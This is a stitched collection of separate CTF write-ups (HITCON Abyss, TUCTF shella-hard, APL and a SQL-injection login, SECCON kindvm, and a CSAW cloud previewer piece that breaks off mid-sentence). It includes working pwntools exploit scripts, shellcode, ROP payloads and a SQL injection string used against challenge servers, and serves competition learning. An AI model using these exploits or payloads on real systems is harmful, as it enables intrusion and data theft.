# Abyss I II III## Abyss I* NX disable.* `swap` function doesn't check the index, and the `machine` == `stack[-1]`.```cvoid swap_(){ unsigned int tmp; tmp = stack[machine - 1]; stack[machine - 1] = stack[machine - 2]; stack[machine - 2] = tmp;}```* We can control the value of `machine` by `swap()`.```pythonp = '31' + 'a' + op['minus'] # -31p += op['swap'] # stack point to write.gotp += 'a' + op['store'] # store the high 4 bytep += str( 2107662 + 70 ) + op['add'] # add offset -> write.got point to our inputp += 'a' + op['fetch'] # recover high 4 bytep += op['write'], # write() to jmp to our shellcode```* exploit:```python#!/usr/bin/env pythonfrom pwn import * # hitcon{Go_ahead,_traveler,_and_get_ready_for_deeper_fear.}# hitcon{take_out_all_memory,_take_away_your_soul} context.arch = 'amd64'host , port = '35.200.23.198' , 31733y = remote( host , port ) kernel = open( './kernel.bin' ).read() s = '31a-\\a:2107732+a;,' + '\x90' * 70s += asm( shellcraft.pushstr( 'flag\x00' ) + shellcraft.open( 'rsp' , 0 , 0 ) + shellcraft.read( 'rax' , 'rsp' , 0x70 ) + shellcraft.write( 1 , 'rsp' , 0x70 )) y.sendlineafter( 'down.' , s ) y.interactive()```## Abyss II* Part of code of `hypercall read handler` in Hypervisor:```crw((unsigned int)fd_map[fd].real_fd, *(_QWORD *)&vm->mem + buf, len);```Where `vm->mem` is our vm phisical address.Kernel entry is 0, if we can let `but` == 0, so that we are able to overwrite the kernel memory.Hypervisor will get the return value of kmalloc().* `Hypercall read handler`:```cvaddr = *(_DWORD *)(vm->run + *(_QWORD *)(vm->run + 40LL));if ( (unsigned __int64)vaddr >= vm->mem_size ) __assert_fail("0 <= (offset) && (offset) < vm->mem_size", "hypercall.c", 0x7Eu, "handle_rw");arg = (_QWORD *)(*(_QWORD *)&vm->mem + vaddr);fd = *arg;buf = arg[1];len = arg[2];MAY_INIT_FD_MAP();if ( fd >= 0 && fd <= 255 && fd_map[fd].opening ){ if ( buf >= vm->mem_size ) __assert_fail("0 <= (paddr) && (paddr) < vm->mem_size", "hypercall.c", 0x83u, "handle_rw"); read_ret = rw((unsigned int)fd_map[fd].real_fd, *(_QWORD *)&vm->mem + buf, len); if ( read_ret < 0 ) read_ret = -*__errno_location();}else{ read_ret = -9;}```* Kernel sys_read():```csigned __int64 __usercall sys_read@<rax>(__int64 size_@<rdx>, int fd_@<edi>, unsigned __int64 buf@<rsi>){ signed __int64 ret; // rbx __int64 l; // r12 void *vbuf; // rbp _QWORD *dst; // r13 __int64 paddr; // rsi __int64 v8; // rcx ret = -9i64; if ( fd_ >= 0 ) { l = size_; vbuf = (void *)buf; ret = -14i64; if ( (unsigned int)access_ok(size_, 1, buf) ) { dst = (_QWORD *)kmalloc(l, 0); paddr = physical((signed __int64)dst); ret = (signed int)hyper_read(l, v8, fd_, paddr); if ( ret >= 0 ) qmemcpy(vbuf, dst, ret); kfree(dst); } } return ret;} __int64 __usercall hyper_read@<rax>(__int64 len@<rdx>, __int64 a2@<rcx>, int fd@<edi>, __int64 buf@<rsi>){ __int64 l; // r12 _QWORD *vaddr; // rax _QWORD *v; // rbx unsigned int paddr; // eax unsigned int v8; // ST0C_4 l = len; vaddr = (_QWORD *)kmalloc(0x18ui64, 0); *vaddr = fd; vaddr[1] = buf; vaddr[2] = l; v = vaddr; paddr = physical((signed __int64)vaddr); vmmcall(0x8001u, paddr); kfree(v); return v8;}```* Pass the return value of kmalloc() to hypervisor:```cdst = (_QWORD *)kmalloc(l, 0);paddr = physical((signed __int64)dst);ret = (signed int)hyper_read(l, v8, fd_, paddr);```* Now our goal is to let `kmalloc` return 0 value.* Kernel kmalloc():```csigned __int64 __usercall kmalloc@<rax>(unsigned __int64 len@<rdi>, int align@<esi>){ unsigned __int64 nb; // r8 signed __int64 now; // rsi signed __int64 v4; // rdx unsigned __int64 now_size; // rax bool equal; // zf __int64 next; // rcx signed __int64 ret; // rax _QWORD *v9; // rcx signed __int64 r; // [rsp+0h] [rbp-10h] if ( len > 0xFFFFFFFF ) return 0i64; nb = len + 16; if ( ((_BYTE)len + 16) & 0x7F ) nb = (nb & 0xFFFFFFFFFFFFFF80ui64) + 0x80; if ( align ) { if ( align != 0x1000 ) hlt((unsigned __int64)"kmalloc.c#kmalloc: invalid alignment"); if ( !((0xFF0 - MEMORY[0x4840]) & 0xFFF) || malloc_top((0xFF0 - MEMORY[0x4840]) & 0xFFF) ) { malloc_top(nb); // r kfree(v9); ret = r; if ( r ) { if ( !(r & 0xFFF) ) return ret; hlt((unsigned __int64)"kmalloc.c#kmalloc: alignment request failed"); } } } else { now = MEMORY[0x4860]; v4 = 0x4850i64; while ( now ) { now_size = *(_QWORD *)now; if ( (unsigned __int64)(*(_QWORD *)now - 1i64) > 0xFFFFFFFE || now_size & 0xF ) { hlt((unsigned __int64)"kmalloc.c: invalid size of sorted bin");LABEL_12: *(_QWORD *)(v4 + 16) = next; if ( !equal ) { *(_QWORD *)(now + nb) = now_size - nb; insert_sorted((_QWORD *)(now + nb)); } ret = now + 16; *(_QWORD *)now = nb; *(_OWORD *)(now + 8) = 0i64; if ( now != -16 ) return ret; break; } equal = nb == now_size; next = *(_QWORD *)(now + 16); if ( nb <= now_size ) goto LABEL_12; v4 = now; now = *(_QWORD *)(now + 16); } ret = malloc_top(nb); if ( ret ) return ret; } return 0i64;}```* There are two conditions that `kmalloc` will return 0. * len > 0xffffffff: ```c if ( len > 0xFFFFFFFF ) return 0i64; ``` * if kmalloc doesnt find the appropriate chunk in sorted bin, it will allocate from top by `malloc_top`. ```c ret = malloc_top(nb); if ( ret ) return ret; ``` * If `malloc_top` return 0, it won't return 0 directly, but `kmalloc` will still return 0 in the end. ```c ret = malloc_top(nb); if ( ret ) return ret; } return 0; } ```* We can not use the condition 1, because if we want to let the `len` to be 0x100000000, we need a memory space exactly has the 0x100000000 long space, due to `access_ok()` checking.* We can't mmap that huge memory space.* We have to go condition 2, let `malloc_top` return 0.* `malloc_top`:```csigned __int64 malloc_top(unsigned __int64 nb){ signed __int64 ret; // rax __int64 top; // rax unsigned __int64 new_top; // rdi ret = 0; if ( arena.top_size >= nb ) { top = arena.top; arena.top_size -= nb; arena.top->size = nb; new_top = arena.top + nb; ret = arena.top + 16; arena.top = new_top; } return ret;}```* Just give a size which lager than `arena.top_size`, it will return 0. 1. `mmap(0, 0x1000000, 7)` -> `arena.top_size` remain the size < 0x1000000. 2. `sys_read( 0, buf, 0x1000000 )` -> `kmalloc` in `hypercall read` will return 0. 3. Pass 0 to hypervisor, `hypercall read handler` will do `read( 0, &vm->mem + 0 , 0x1000000 )`. 4. Now we can overwrite the whole kernel space! * For flag2, I overwrite the opcodes in kernel `sys_open` which do checking filename with `nop`.* ORW flag2.* exploit:```python#!/usr/bin/env pythonfrom pwn import * # hitcon{Go_ahead,_traveler,_and_get_ready_for_deeper_fear.}# hitcon{take_out_all_memory,_take_away_your_soul} context.arch = 'amd64'host , port = '35.200.23.198' , 31733y = remote( host , port ) kernel = open( './kernel.bin' ).read() s = '31a-\\a:2107732+a;,' + '\x90' * 70s += asm( ''' mov rdi, 0 mov rsi, 0x1000000 mov rdx, 7 mov r10, 16 mov r8, -1 mov r9, 0 mov rax, 8 inc rax syscall mov rbp, rax push rsp ''' + shellcraft.write( 1 , 'rsp' , 8 ) + shellcraft.read( 0 , 'rbp' , 0x1000000 ) + shellcraft.pushstr( 'flag2\x00' ) + shellcraft.open( 'rsp' , 0 , 0 ) + shellcraft.read( 'rax' , 'rsp' , 0x70 ) + shellcraft.write( 1 , 'rsp' , 0x70 )) y.sendlineafter( 'down.' , s )y.recvline()user_stack = u64( y.recv(8) )success( 'User stack -> %s' % hex( user_stack ) ) kernel_mod = kernel[:0x14d] + p64( 0x8002000000 ) + p64( user_stack + 0x100 )kernel_mod += kernel[0x15d:0x9a4] + '\x90' * 0x75 sleep(1)y.send( kernel_mod ) y.interactive()```
# Shella hard--- ## Description Difficulty: mind-melting hardThis program is crap! Is there even anything here? nc 3.16.169.157 12345 --- ## Approach When running the program, there were no outputs. ```root@kali:~/Desktop/tuctf/shella-hard# ./shella-hard testtest root@kali:~/Desktop/tuctf/shella-hard# checksec shella-hard[*] '/root/Desktop/tuctf/shella-hard/shella-hard' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)root@kali:~/Desktop/tuctf/shella-hard# ``` NX is enabled and no PIE and also no canary is found. This means we will not be using shellcode here. ## Disassembly Disassembling this``` 0x0804843b <+0>: push ebp 0x0804843c <+1>: mov ebp,esp 0x0804843e <+3>: sub esp,0x10 0x08048441 <+6>: push 0x1e 0x08048443 <+8>: lea eax,[ebp-0x10] 0x08048446 <+11>: push eax 0x08048447 <+12>: push 0x0 0x08048449 <+14>: call 0x8048300 <read@plt> 0x0804844e <+19>: add esp,0xc 0x08048451 <+22>: mov eax,0x0 0x08048456 <+27>: leave 0x08048457 <+28>: ret End of assembler dump.``` It is a pleasantly short program which does not take much time to reverse back. ```c// It only consist of one read function callread(0,&buf0x1e);``` Also, there is a function that wasnt shown here. It is giveShell function ```gdb-peda$ info functionsAll defined functions: Non-debugging symbols:0x080482cc _init0x08048300 read@plt0x08048310 __libc_start_main@plt0x08048320 execve@plt0x08048340 _start0x08048370 __x86.get_pc_thunk.bx0x08048380 deregister_tm_clones0x080483b0 register_tm_clones0x080483f0 __do_global_dtors_aux0x08048410 frame_dummy0x0804843b main0x08048458 giveShell0x08048480 __libc_csu_init0x080484e0 __libc_csu_fini0x080484e4 _fini``` Disassembling giveShell, ```gdb-peda$ disassemble giveShellDump of assembler code for function giveShell: 0x08048458 <+0>: push ebp 0x08048459 <+1>: mov ebp,esp 0x0804845b <+3>: nop 0x0804845c <+4>: mov eax,ds:0x6a006a44 0x08048461 <+9>: add BYTE PTR [eax+0x0],ch 0x08048464 <+12>: test DWORD PTR [eax+ecx*1],eax 0x08048467 <+15>: call 0x8048320 <execve@plt> 0x0804846c <+20>: add esp,0xc 0x0804846f <+23>: nop 0x08048470 <+24>: leave 0x08048471 <+25>: ret End of assembler dump.gdb-peda$ ``` After looking at this and attempting to reverse this, There were some really wierd thingsgoing on here. The EBP was saved and new EBP is initialized. There is also the execve functioncalled which got me excited but execve is just being called without any parameters. This means that there is no program to execute let along /bin/sh. ---## Approach The idea for this is to return to execve function call straight while setting up the stack for /bin/sh.We will want to modify the stack to look something like the following: ```BEFORE LEAVE and RET Instruction ----------- <-- ESP , EBP-0x10buffer-----------...-----------buffer-----------buffer----------- <-- EBPsaved EBP-----------ret addr --> EXECVE-----------???? --------------> /bin/sh----------- ``` Reason for this is that when the main program returns, the stackframe containing the buffer will be clearedwith ESP pointing to the return address. When the ret instruction is called, the `ret addr` will be popped off the stack leaving the memory location to /bin/sh at the top of the stack. If the `ret addr` is to call execve, the whatever that is on thestack will be its parameter which is /bin/sh, spawning a shell. ```During RET ----------- buffer-----------...-----------buffer-----------buffer----------- saved EBP----------- call execve < ---- pop to EIP decrementing ESP-----------&(/bin/sh) < ------ ESP----------- ```So now we want to find out the address of /bin/sh and the call execve instruction. ```gdb-peda$ searchmem "/bin/sh"Searching for '/bin/sh' in: None rangesFound 3 results, display max 3 items:shella-hard : 0x8048500 ("/bin/sh")shella-hard : 0x8049500 ("/bin/sh") libc : 0xf7f4e968 ("/bin/sh") gdb-peda$ disassemble giveShell ... 0x08048467 <+15>: call 0x8048320 <execve@plt>... ``` With these, we will first overwrite 0x10 + 4 bytes to overflow the buffer then overwrite thatreturn address to `0x8048320` then add the memory location to /bin/sh. ```payload += "A"*(20)+ p32(giveShellAddr)+p32(binsh)``` ---## The Script ```pythonfrom pwn import * #p = process("./shella-hard")p = remote("3.16.169.157",12345)#raw_input()print p.recvrepeat(0.9) payload = "" binsh = 0x08048500giveShellAddr = 0x08048467exitaddr = 0xf7e02c30 print "giveShell : " + hex(giveShellAddr) payload += "A"*(20)+ p32(giveShellAddr)+p32(binsh) f= open("pl","w")f.write(payload)f.close()p.send(payload)print p.recvrepeat(1)p.interactive()``` resulting in ![solved.png](https://cexplrhome.files.wordpress.com/2018/11/solved1.png) Flag: TUCTF{175_wh475_1n51d3_7h47_c0un75}------
TUCTF 2018: APL============================= ## Description Dr. W gave me an old program of his... Can you tell me what it does? (Difficulty: Easy) We get a text file APL.txt that contains: ```mx←7 0↓14 9⍴⍳132a←mx[(3 3)(3 4)(1 4)(3 3)(1 7)(7 6)(7 2)(3 1)(5 6)(3 3)(5 2)(4 5)(2 7)(6 2)(2 4)(7 4)(4 5)(2 1)(6 7)(4 5)(1 9)(4 7)(3 1)(5 1)(4 5)(3 3)(6 3)(4 5)(3 1)(5 2)(1 2)(5 1)(7 8)]``` ## Solution After some research (and knowing the title of the challenge), we found out that this is a code interpretable in APL. So we parsed the program on https://tryapl.org/. When we print the output of the variable `a` we got:`84 85 67 84 70 123 119 82 105 84 101 95 79 110 76 121 95 73 115 95 72 97 82 100 95 84 111 95 82 101 65 100 125` It looks like the flag in ASCII, when converting we retreived: `TUCTF{wRiTe_OnLy_Is_HaRd_To_ReAd}`
TUCTF 2018: Colonel Mustard's Simple Signin============================= ## Description We know Col Mustard is up to something--can you find a way in to tell us what? http://13.59.239.132/ ## Solution The website is just a login page. When trying inputs we notices that it is weak to SQL injection. So we input `' or '1' = '1` in both the user and password textfield. (this SQL injection works in the password textfield) We are redirected to the page with the flag: `TUCTF{1_4ccu53_c0l0n3l_mu574rd_w17h_7h3_r0p3_1n_7h3_l061n}`
[https://medium.com/bugbountywriteup/nodejs-ssrf-by-response-splitting-asis-ctf-finals-2018-proxy-proxy-question-walkthrough-9a2424923501](https://medium.com/bugbountywriteup/nodejs-ssrf-by-response-splitting-asis-ctf-finals-2018-proxy-proxy-question-walkthrough-9a2424923501) [Me on twitter](https://twitter.com/YShahinzadeh)
# kindvm---**Points:** 255 | **Solves:** 64/653 | **Category:** Pwn Get hints, and pwn it! kindvm.pwn.seccon.jp 12345 [Download](kindvm_79726158fec11eb1e5a89351db017e13506d3a4a) --- [Bahasa Indonesia](#bahasa-indonesia) ## English```Input your name : aInput instruction : a _ _ _ | | _(_)_ __ __| |_ ___ __ ___ | |/ / | '_ \ / _` \ \ / / '_ ` _ \ | <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start!Error! Try again!``` The binary takes instructions as input (per-byte) and run it.Here are the instructions.```0 -> insn_nop;1 -> insn_load;2 -> insn_store;3 -> insn_mov;4 -> insn_add;5 -> insn_sub;6 -> insn_halt;7 -> insn_in;8 -> insn_out;9 -> insn_hint;``` Wait, the binary have gets in input name!Let's exploit it!```cppchar *input_username(){ char *dest; // ST18_4 size_t v1; // eax char s; // [esp+12h] [ebp-16h] unsigned int v4; // [esp+1Ch] [ebp-Ch] v4 = __readgsdword(0x14u); printf("Input your name : "); gets(&s); dest = (char *)malloc(0xAu); v1 = strlen(&s); dest[9] = 0; strncpy(dest, &s, v1); return dest;}``` Well.```Input your name : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa _ _ _ _ _ ____ _____ _____ _ | | | (_)_ __ | |_/ | / ___| ____|_ _| | || |_| | | '_ \| __| | | | _| _| | | | || _ | | | | | |_| | | |_| | |___ | | |_||_| |_|_|_| |_|\__|_| \____|_____| |_| (_) Nice try! The theme of this binary is not Stack-Based BOF!However, your name is not meaningless...``` Okay, moving on. Let's just call instruction 9 (hint).```asdf@asdf:/media/sf_SVM/seccon$ echo -e '\n\x09\n' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction : _ _ _ | | _(_)_ __ __| |_ ___ __ ___ | |/ / | '_ \ / _` \ \ / / '_ ` _ \ | <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start! _ _ _ _ ____ ____ _____ _____ _ | | | (_)_ __ | |_|___ \ / ___| ____|_ _| | || |_| | | '_ \| __| __) | | | _| _| | | | || _ | | | | | |_ / __/ | |_| | |___ | | |_||_| |_|_|_| |_|\__|_____| \____|_____| |_| (_) Nice try! You can analyze vm instruction and execute it!Flag file name is "flag.txt".``` Sure!We also see a third hint in the binary (insn_add).```_DWORD *insn_add(){ _DWORD *result; // eax unsigned __int8 v1; // [esp+Ah] [ebp-Eh] unsigned __int8 v2; // [esp+Bh] [ebp-Dh] signed int v3; // [esp+Ch] [ebp-Ch] v1 = load_insn_uint8_t(); v2 = load_insn_uint8_t(); if ( v1 > 7u ) kindvm_abort(); if ( v2 > 7u ) kindvm_abort(); if ( *((_DWORD *)reg + v1) >= 0 ) v3 = 1; result = (char *)reg + 4 * v1; *result += *((_DWORD *)reg + v2); if ( v3 ) { result = (_DWORD *)*((_DWORD *)reg + v1); if ( (signed int)result < 0 ) hint3(); } return result;``` It requires user to have reg + v1 of negative value. Let's try to load by `in` (7) function.```cppint insn_in(){ int result; // eax unsigned __int8 v1; // [esp+Bh] [ebp-Dh] int v2; // [esp+Ch] [ebp-Ch] v1 = load_insn_uint8_t(); v2 = load_insn_uint32_t(); if ( v1 > 7u ) kindvm_abort(); result = v2; *((_DWORD *)reg + v1) = v2; return result;} int load_insn_uint32_t(){ unsigned __int8 *v0; // ebx int v1; // ST0C_4 unsigned __int8 *v2; // ebx int v3; // ST0C_4 unsigned __int8 *v4; // ebx int v5; // ST0C_4 unsigned __int8 *v6; // ebx int v7; // ST0C_4 v0 = (unsigned __int8 *)insn; v1 = v0[get_pc()]; step(); v2 = (unsigned __int8 *)insn; v3 = v2[get_pc()] + (v1 << 8); step(); v4 = (unsigned __int8 *)insn; v5 = v4[get_pc()] + (v3 << 8); step(); v6 = (unsigned __int8 *)insn; v7 = v6[get_pc()] + (v5 << 8); step(); return v7;}``` Okay. So, we need to input register (0 - 7) and number (first input is the most significant byte).Let's do reg0 = 0xffffffff and then add r0 to r0 -> r0 = -1 + -1 = -2 (still negative).```asdf@asdf:/media/sf_SVM/seccon$ echo -e '\n\x07\x00\xff\xff\xff\xff\x04\x00\x00\n' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction : _ _ _ | | _(_)_ __ __| |_ ___ __ ___ | |/ / | '_ \ / _` \ \ / / '_ ` _ \ | <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start! _ _ _ _ _____ ____ _____ _____ _ | | | (_)_ __ | |_|___ / / ___| ____|_ _| | || |_| | | '_ \| __| |_ \ | | _| _| | | | || _ | | | | | |_ ___) | | |_| | |___ | | |_||_| |_|_|_| |_|\__|____/ \____|_____| |_| (_) Nice try! You can cause Integer Overflow!The value became minus value. Minus value is important.``` Nice, we got (maybe) all the hints. Now, we just need to read `flag.txt`.Some notes, `reg` is stored in heap. There is also `mem` stored in heap. We can store and load `mem` with the instruction load and store. The hint states about integer overflow, so maybe integer overflow in heap.Let's see what else is in the heap.``` v0 = malloc(0x18u); kc = (int)v0; *v0 = 0; *(_DWORD *)(kc + 4) = 0; v1 = kc; *(_DWORD *)(v1 + 8) = input_username(); *(_DWORD *)(kc + 12) = "banner.txt"; *(_DWORD *)(kc + 16) = func_greeting; *(_DWORD *)(kc + 20) = func_farewell; mem = malloc(0x400u); memset(mem, 0, 0x400u); reg = malloc(0x20u); memset(reg, 0, 0x20u); insn = malloc(0x400u); result = memset(mem, 65, 0x400u);``` So, username is in the heap (hint says it is useful), also banner.txt, func_greeting, and func_farewell.If we can overflow and write in the heap then maybe we can change func_farewell to execute anything.Let's see what func_farewell does.```cppssize_t func_farewell(){ open_read_write(*(char **)(kc + 12)); return write(1, "Execution is end! Thank you!\n", 0x1Du);}``` It reads `kc+12` which is `banner.txt` and writes it!Well then, if we can change `kc+12` to `flag.txt` by rewriting it to `name` (filled with `flag.txt`), we will get the flag.Let's see the heap then.```gdb-peda$ x/20wx 0x804c1680x804c168: 0x0804c180 <= name 0x080491b2 <= banner.txt 0x08048f89 <= greeting 0x08048fba <= farewell0x804c178: 0x00000000 0x00000011 0x00000000 0x000000000x804c188: 0x00000000 0x00000411 0x41414141 <= mem_start 0x414141410x804c198: 0x41414141 0x41414141 0x41414141 0x414141410x804c1a8: 0x41414141 0x41414141 0x41414141 0x41414141``` Plan: read `name` -> write it to `banner.txt`.```load mem-40 to reg0 -> store reg0 to mem-36``` ```asdf@asdf:~/Desktop/CTF/ctf/seccon2018/classic-pwn$ echo -e 'flag.txt\n\x01\x00\xff\xd8\x02\xff\xdc\x00\x06' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction : _ _ _ | | _(_)_ __ __| |_ ___ __ ___ | |/ / | '_ \ / _` \ \ / / '_ ` _ \ | <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start!SECCON{s7ead1ly_5tep_by_5tep}Execution is end! Thank you!```Flag is captured! ## Bahasa Indonesia```Input your name : aInput instruction : a _ _ _ | | _(_)_ __ __| |_ ___ __ ___ | |/ / | '_ \ / _` \ \ / / '_ ` _ \ | <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start!Error! Try again!``` Program membaca input (1 instruksi 1 byte) dan menjalankannya.Berikut instruksinya.```0 -> insn_nop;1 -> insn_load;2 -> insn_store;3 -> insn_mov;4 -> insn_add;5 -> insn_sub;6 -> insn_halt;7 -> insn_in;8 -> insn_out;9 -> insn_hint;``` Program memanggil `gets`! Dicoba buffer overflow.```cppchar *input_username(){ char *dest; // ST18_4 size_t v1; // eax char s; // [esp+12h] [ebp-16h] unsigned int v4; // [esp+1Ch] [ebp-Ch] v4 = __readgsdword(0x14u); printf("Input your name : "); gets(&s); dest = (char *)malloc(0xAu); v1 = strlen(&s); dest[9] = 0; strncpy(dest, &s, v1); return dest;}``` Hmm.```Input your name : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa _ _ _ _ _ ____ _____ _____ _ | | | (_)_ __ | |_/ | / ___| ____|_ _| | || |_| | | '_ \| __| | | | _| _| | | | || _ | | | | | |_| | | |_| | |___ | | |_||_| |_|_|_| |_|\__|_| \____|_____| |_| (_) Nice try! The theme of this binary is not Stack-Based BOF!However, your name is not meaningless...``` Okay, lanjut. Mari panggil instruksi 9 (hint).```asdf@asdf:/media/sf_SVM/seccon$ echo -e '\n\x09\n' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction : _ _ _ | | _(_)_ __ __| |_ ___ __ ___ | |/ / | '_ \ / _` \ \ / / '_ ` _ \ | <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start! _ _ _ _ ____ ____ _____ _____ _ | | | (_)_ __ | |_|___ \ / ___| ____|_ _| | || |_| | | '_ \| __| __) | | | _| _| | | | || _ | | | | | |_ / __/ | |_| | |___ | | |_||_| |_|_|_| |_|\__|_____| \____|_____| |_| (_) Nice try! You can analyze vm instruction and execute it!Flag file name is "flag.txt".``` Sip!Dapat dilihat juga terdapat hint ketiga (insn_add).```_DWORD *insn_add(){ _DWORD *result; // eax unsigned __int8 v1; // [esp+Ah] [ebp-Eh] unsigned __int8 v2; // [esp+Bh] [ebp-Dh] signed int v3; // [esp+Ch] [ebp-Ch] v1 = load_insn_uint8_t(); v2 = load_insn_uint8_t(); if ( v1 > 7u ) kindvm_abort(); if ( v2 > 7u ) kindvm_abort(); if ( *((_DWORD *)reg + v1) >= 0 ) v3 = 1; result = (char *)reg + 4 * v1; *result += *((_DWORD *)reg + v2); if ( v3 ) { result = (_DWORD *)*((_DWORD *)reg + v1); if ( (signed int)result < 0 ) hint3(); } return result;``` Untuk mendapaatkan hint nilai `reg + v1` harus negatif. Mari coba buat nilai reg negatif dengan fungsi `in` (7).```cppint insn_in(){ int result; // eax unsigned __int8 v1; // [esp+Bh] [ebp-Dh] int v2; // [esp+Ch] [ebp-Ch] v1 = load_insn_uint8_t(); v2 = load_insn_uint32_t(); if ( v1 > 7u ) kindvm_abort(); result = v2; *((_DWORD *)reg + v1) = v2; return result;} int load_insn_uint32_t(){ unsigned __int8 *v0; // ebx int v1; // ST0C_4 unsigned __int8 *v2; // ebx int v3; // ST0C_4 unsigned __int8 *v4; // ebx int v5; // ST0C_4 unsigned __int8 *v6; // ebx int v7; // ST0C_4 v0 = (unsigned __int8 *)insn; v1 = v0[get_pc()]; step(); v2 = (unsigned __int8 *)insn; v3 = v2[get_pc()] + (v1 << 8); step(); v4 = (unsigned __int8 *)insn; v5 = v4[get_pc()] + (v3 << 8); step(); v6 = (unsigned __int8 *)insn; v7 = v6[get_pc()] + (v5 << 8); step(); return v7;}``` Jadi, kita perlu memasukkan register (0 - 7) dan nilainya pada input (byte pertama pada nilai paling signifikan).Coba reg0 = 0xffffffff dan panggil add r0 ke r0 -> r0 = -1 + -1 = -2 (seharusnya nilai masih negatif).```asdf@asdf:/media/sf_SVM/seccon$ echo -e '\n\x07\x00\xff\xff\xff\xff\x04\x00\x00\n' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction : _ _ _ | | _(_)_ __ __| |_ ___ __ ___ | |/ / | '_ \ / _` \ \ / / '_ ` _ \ | <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start! _ _ _ _ _____ ____ _____ _____ _ | | | (_)_ __ | |_|___ / / ___| ____|_ _| | || |_| | | '_ \| __| |_ \ | | _| _| | | | || _ | | | | | |_ ___) | | |_| | |___ | | |_||_| |_|_|_| |_|\__|____/ \____|_____| |_| (_) Nice try! You can cause Integer Overflow!The value became minus value. Minus value is important.``` Yay, dapat (mungkin) semua hint. Sekarang kita perlu membaca `flag.txt`.Beberapa keterangan, `reg` disimpan pada heap. Selain itu ada juga `mem` yang juga disimpan di heap. Kita dapat menggunakan `mem` dengan fungsi load dan store. Hint yaitu integer overflow, mungkin integer overflow pada heap.Dicek apa saja yang terdapat pada heap.``` v0 = malloc(0x18u); kc = (int)v0; *v0 = 0; *(_DWORD *)(kc + 4) = 0; v1 = kc; *(_DWORD *)(v1 + 8) = input_username(); *(_DWORD *)(kc + 12) = "banner.txt"; *(_DWORD *)(kc + 16) = func_greeting; *(_DWORD *)(kc + 20) = func_farewell; mem = malloc(0x400u); memset(mem, 0, 0x400u); reg = malloc(0x20u); memset(reg, 0, 0x20u); insn = malloc(0x400u); result = memset(mem, 65, 0x400u);``` Jadi, username terdapat pada heap (kata hint username penting), terdapat juga banner.txt, func_greeting, dan func_farewell pada heap.Apabila kita dapat menulis dengan overflow pada heap, maka kita dapat mengubah func_farewell untuk mengeksekusi apapun.Sebelumnya, dicek kegunaan func_farewell.```cppssize_t func_farewell(){ open_read_write(*(char **)(kc + 12)); return write(1, "Execution is end! Thank you!\n", 0x1Du);}``` Fungsi tersebut membaca `kc+12` yang adalah `banner.txt` dan menulisnya!Jadi, jika kita ubah `kc+12` menjadi `flag.txt` dengan mengganti menjadi `name` (berisi `flag.txt`), kita dapat flag.Let's see the heap then.```gdb-peda$ x/20wx 0x804c1680x804c168: 0x0804c180 <= name 0x080491b2 <= banner.txt 0x08048f89 <= greeting 0x08048fba <= farewell0x804c178: 0x00000000 0x00000011 0x00000000 0x000000000x804c188: 0x00000000 0x00000411 0x41414141 <= mem_start 0x414141410x804c198: 0x41414141 0x41414141 0x41414141 0x414141410x804c1a8: 0x41414141 0x41414141 0x41414141 0x41414141``` Rencana: baca `name` -> tulis ke `banner.txt`.```load mem-40 to reg0 -> store reg0 to mem-36``` ```asdf@asdf:~/Desktop/CTF/ctf/seccon2018/classic-pwn$ echo -e 'flag.txt\n\x01\x00\xff\xd8\x02\xff\xdc\x00\x06' | nc kindvm.pwn.seccon.jp 12345Input your name : Input instruction : _ _ _ | | _(_)_ __ __| |_ ___ __ ___ | |/ / | '_ \ / _` \ \ / / '_ ` _ \ | <| | | | | (_| |\ V /| | | | | ||_|\_\_|_| |_|\__,_| \_/ |_| |_| |_| Instruction start!SECCON{s7ead1ly_5tep_by_5tep}Execution is end! Thank you!```Flag didapatkan!
# Online Previewer - 400 points (Web) *Question:*```I deployed this cool website in the cloud that allows you to know if your online documents are available anywhere. You just provide your link, and it will read it for you. Obviously I restricted it to text files, but I still got hacked recently. Would you be able to help me find out how? ctf-elb-942178366.us-east-1.elb.amazonaws.com Written by Jules Denardou & Justin Massey, Datadog``` *Writeup:* ![](images/web400-1.PNG) We have provided a service, through which we can query any `.pdf` , `.txt` or `.md` extension. First thing, I found interesting was `.md` extension.There has been numerous time in previous CTFs (for instance: Nuit Du Hack's Mark is falling or Confidence CTF 2017). `.md` extensions are used for Markdown files (Like the current writeup you are reading). It could render `#`, `[]()` etc to name few.I started investigating that first, and hosted few naughty markdown on my domain, we will call it http://example.com throughout the writeup. Although I was able to see the content on the site, but rendering didn't worked. Next, logical step was to do a page-source. ``` ``` Interesting, as I have done S3 buckets takeover in bug bounties before few years. I know that url could also be rewritten as http://csaw-ctf.s3.amazonaws.com/ Cute, now we have the content of what files are hosted on that bucket. ```xml<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Name>csaw-ctf</Name><Prefix/><Marker/><MaxKeys>1000</MaxKeys><IsTruncated>false</IsTruncated><Contents><Key>flag</Key><LastModified>2018-11-02T19:52:38.000Z</LastModified><ETag>"f27ba6a3e60893fe25a47886e1582e56"</ETag><Size>36</Size><StorageClass>STANDARD</StorageClass></Contents></ListBucketResult>``` Now, I fired up my `awscli` and queried it like `aws s3 cp s3://csaw-ctf/flag ./flag` Throws me [401] permission error. I tried with the correct region which I found using `host` command also used verbose debug output and figured out I lacked the permission to access the flag file. So, it's not a cake-walk. AWS EC2 has a feature called the [Instance Metadata 